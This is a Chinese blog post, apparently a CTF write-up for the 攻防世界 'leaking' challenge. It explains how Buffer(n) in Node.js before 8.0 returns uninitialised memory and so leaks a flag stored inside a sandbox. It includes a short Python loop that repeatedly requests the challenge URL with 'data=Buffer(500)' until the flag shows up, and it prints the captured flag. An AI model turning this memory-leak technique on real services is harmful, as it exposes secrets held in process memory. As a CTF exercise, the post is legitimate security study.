Node.js8.0沙箱逃逸问题

看不是很懂先记录下来NodeJS沙箱逃逸分析 - 安全客,安全资讯平台

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函
数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这
个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数
Buffer.allocUnsafe(size) 来获得未清空的内存。

实例:攻防世界leaking

进入页面,代码审计

flag以变量存在沙箱中。buffer可以直接读取沙箱内容

所以可以构造:

注意文件编码的声明,不然可能显示不出来。

# encoding=utf-8
import requests
import time
url = 'http://111.200.241.244:49358?data=Buffer(500)'  (为自己网页的URL)
response = ''
while 'flag' not in response:
    req = requests.get(url)
    response = req.text
    print(req.status_code)
    time.sleep(0.1)
    if 'flag{' in response:
        print(response)
        break

在kali中运行

成功获取flag

flag{4nother_h34rtbleed_in_n0dejs}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值